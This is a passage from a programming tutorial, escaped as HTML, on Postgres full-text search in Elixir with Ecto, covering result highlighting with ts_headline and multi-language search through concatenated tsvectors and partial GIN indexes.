&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output of this query should start with &lt;code&gt;Bitmap Heap Scan&lt;/code&gt;. If it doesn&apos;t, please double-check that you followed this article correctly.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#highlighting-matches&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;highlighting-matches&quot;&gt;&lt;/a&gt;Highlighting matches&lt;/h3&gt;
&lt;p&gt;Postgres offers the &lt;a href=&quot;https://www.postgresql.org/docs/current/textsearch-controls.html#TEXTSEARCH-HEADLINE&quot;&gt;ts_headline&lt;/a&gt; function to highlight the matches in your results. By default, it wraps the matches in  &lt;code&gt;&lt;b&gt;...&lt;/b&gt;&lt;/code&gt; HTML tags, but you can customize those. Let&apos;s see how to use this option with Ecto.&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;search&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;b&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Book&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;/span&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;searchable @@ websearch_to_tsquery(?)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;select: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;headline:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;/span&gt;          &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;            &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;            ts_headline(
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;              &amp;#39;english&amp;#39;,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;              CONCAT(title, &amp;#39; &amp;#39;, summary),
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;              websearch_to_tsquery(?),
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;              &amp;#39;StartSel=&lt;h3&gt;,StopSel=&lt;/h3&gt;,MinWords=25,MaxWords=75&amp;#39;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;            )
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;            &quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;            &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;          &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This query will return a &lt;code&gt;headline&lt;/code&gt; for every match, which is at least 25 words (see &lt;code&gt;MinWords&lt;/code&gt;) and at most 75 words long (see &lt;code&gt;MaxWords&lt;/code&gt;). Matches are wrapped in &lt;code&gt;h3&lt;/code&gt; HTML tags (see &lt;code&gt;StartSel&lt;/code&gt; and &lt;code&gt;StopSel&lt;/code&gt;). Thanks to &lt;a href=&quot;https://twitter.com/brightball&quot;&gt;Barry Jones&lt;/a&gt; for &lt;a href=&quot;https://www.brightball.com/articles/postgresql-functions-with-elixir-ecto&quot;&gt;writing about this&lt;/a&gt; in 2016!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#before-you-continue&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;before-you-continue&quot;&gt;&lt;/a&gt;Before you continue&lt;/h2&gt;
&lt;p&gt;This concludes the &quot;short&quot; solution of how to implement efficient full-text search with Ecto and Postgres. If you copy&amp;paste the code from above, you should have a working solution. The rest of the article takes a deep dive into the following topics:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How can you search through documents in different languages?&lt;/li&gt;
&lt;li&gt;How does Postgres create &lt;code&gt;tsvectors&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;How can you use search modifiers in &lt;code&gt;tsqueries&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;What is the difference between &lt;code&gt;plainto_tsquery&lt;/code&gt;, &lt;code&gt;phraseto_tsquery&lt;/code&gt;, and &lt;code&gt;websearch_to_tsquery&lt;/code&gt;?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are interested in any of these topics, please keep on reading. Otherwise, thank you very much for your attention and we&apos;ll meet again in my next article! 🤗&lt;/p&gt;
&lt;p&gt;Still here? Nice! So, then let&apos;s continue.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#adding-multi-language-support&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;adding-multi-language-support&quot;&gt;&lt;/a&gt;Adding Multi-language Support&lt;/h2&gt;
&lt;p&gt;Our short solution above only covered the use-case where your texts are in a single language. Full-text search with texts in multiple languages is much more complex. Below, you will find three solutions which cover the main use-cases. They all support index-based full-text search in texts with multiple languages, but they differ in their ability to support two main use-cases: Dynamically adding texts in new languages and reducing the overall storage costs.&lt;/p&gt;
&lt;p&gt;When you first create your database, you might have texts in only a few languages. Over time though, you might want to add texts in new languages. Some of the proposed solutions support adding new languages without you having to do anything. But some need the complete rebuilding of generated fields and indexes, which can be expensive and lock your database temporarily.&lt;/p&gt;
&lt;p&gt;The second use-case is pretty practical: How much extra data do you need to store to support the full-text search? Some solutions need only indexes to make the text searchable. Some need large generated fields which multiply the overall storage costs.&lt;/p&gt;
&lt;p&gt;The solutions differ on one more dimension: Do you know the language of a text and the language of your search term? If yes, then you probably want to go with solution two or three. But if not, only solution one will be useful to you.&lt;/p&gt;
&lt;p&gt;Each solution supports the use-cases differently. You must decide yourself which solution supports your individual use-case best. Let&apos;s have a look at them.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#concatenating-tsvectors&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;concatenating-tsvectors&quot;&gt;&lt;/a&gt;Concatenating tsvectors&lt;/h3&gt;
&lt;p&gt;The first solution is the &lt;a href=&quot;https://stackoverflow.com/a/21299033/4138739&quot;&gt;most basic one&lt;/a&gt;: We create &lt;code&gt;tsvectors&lt;/code&gt; of the text for every language that we want to support and store the result in one large field. It isn&apos;t a pretty or cheap solution, but &lt;strong&gt;it supports the use-case where you don&apos;t know the language of a text or the language of the search term&lt;/strong&gt;. It just stores &lt;code&gt;tsvectors&lt;/code&gt; for all supported languages and searches through them.&lt;/p&gt;
&lt;p&gt;Let&apos;s have a look at the migration:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# create table(:books) ...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    ALTER TABLE books
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      ADD COLUMN searchable tsvector
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      GENERATED ALWAYS AS (
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        to_tsvector(&amp;#39;english&amp;#39;, coalesce(title, &amp;#39;&amp;#39;) || &amp;#39; &amp;#39; || coalesce(summary, &amp;#39;&amp;#39;)) ||
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        to_tsvector(&amp;#39;spanish&amp;#39;, coalesce(title, &amp;#39;&amp;#39;) || &amp;#39; &amp;#39; || coalesce(summary, &amp;#39;&amp;#39;)) ||
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;        to_tsvector(&amp;#39;italian&amp;#39;, coalesce(title, &amp;#39;&amp;#39;) || &amp;#39; &amp;#39; || coalesce(summary, &amp;#39;&amp;#39;))
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      ) STORED;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    CREATE INDEX books_searchable_idx ON books USING gin(searchable);
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just as in our &quot;short&quot; solution, we generate a new field called &lt;code&gt;searchable&lt;/code&gt; that stores one large &lt;code&gt;tsvector&lt;/code&gt; that contains &lt;code&gt;tsvectors&lt;/code&gt; for every support language. It will bloat your database with a lot of redundant data given that only the tsvector in the language of the text is relevant, but we still store tsvectors for all other languages too. However, it allows us to search in every possible language, like so:&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;search&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;b&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Book&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;searchable @@ websearch_to_tsquery(&amp;#39;english&amp;#39;, ?)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;or_where: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;searchable @@ websearch_to_tsquery(&amp;#39;spanish&amp;#39;, ?)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;or_where: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;searchable @@ websearch_to_tsquery(&amp;#39;italian&amp;#39;, ?)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This solution isn&apos;t cheap or pretty, but it works if you support only a small set of languages and don&apos;t know the language of the text or the search terms. You will have more false positives since a text might match your search term, but not in the intended language. For example, if you search for &lt;code&gt;Zeitgeist&lt;/code&gt; - a German word but commonly used in English too - you might see German texts although you wanted English texts instead.&lt;/p&gt;
&lt;p&gt;If you want to add new languages, you would need to change and regenerate the &lt;code&gt;searchable&lt;/code&gt; field and its index, which can lock your database temporarily. So, this solution doesn&apos;t support adding new languages very well or minimises your storage costs. Let&apos;s have a look at the next solution, which is significantly better, but not without its own downsides.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#partial-indexes&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;partial-indexes&quot;&gt;&lt;/a&gt;Partial Indexes&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://dba.stackexchange.com/a/159718&quot;&gt;second solution&lt;/a&gt; works without an autogenerated field but requires knowledge of the language of a text. Using that info it creates partial indexes, one per language group. Have a look at the migration:&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:books&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:title&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:summary&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Note the new field here&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:language&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;lang&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;english&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;spanish&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;italian&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      CREATE INDEX books_searchable_partial_idx_&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lang&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt; ON books
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        USING GIN(
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;          to_tsvector(&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lang&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;, coalesce(title, &amp;#39;&amp;#39;) || &amp;#39; &amp;#39; || coalesce(summary, &amp;#39;&amp;#39;))
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;        )
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        WHERE language = &amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lang&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The migration creates an index for every supported language that tracks texts only in the language of the index. The size of the partial indexes taken together is never larger than the size of a single index for all languages. This solution doesn&apos;t require an autogenerated field and therefore minimizes the storage costs significantly. You can add new languages by creating a new migration that adds another partial index for the new language. So, adding new languages cannot happen at runtime, but require a new deploy that executes the migration. But partial indexes without any texts have a negligible size. So, you could create indexes for all languages that Postgres supports when setting up the database. This would allow you to add texts in new languages dynamically and at runtime.&lt;/p&gt;
&lt;p&gt;Querying for texts using partial indexes is pretty straight forward:&lt;/p&gt;
&lt;pre id=&quot;code-block-11&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;search&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;language&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
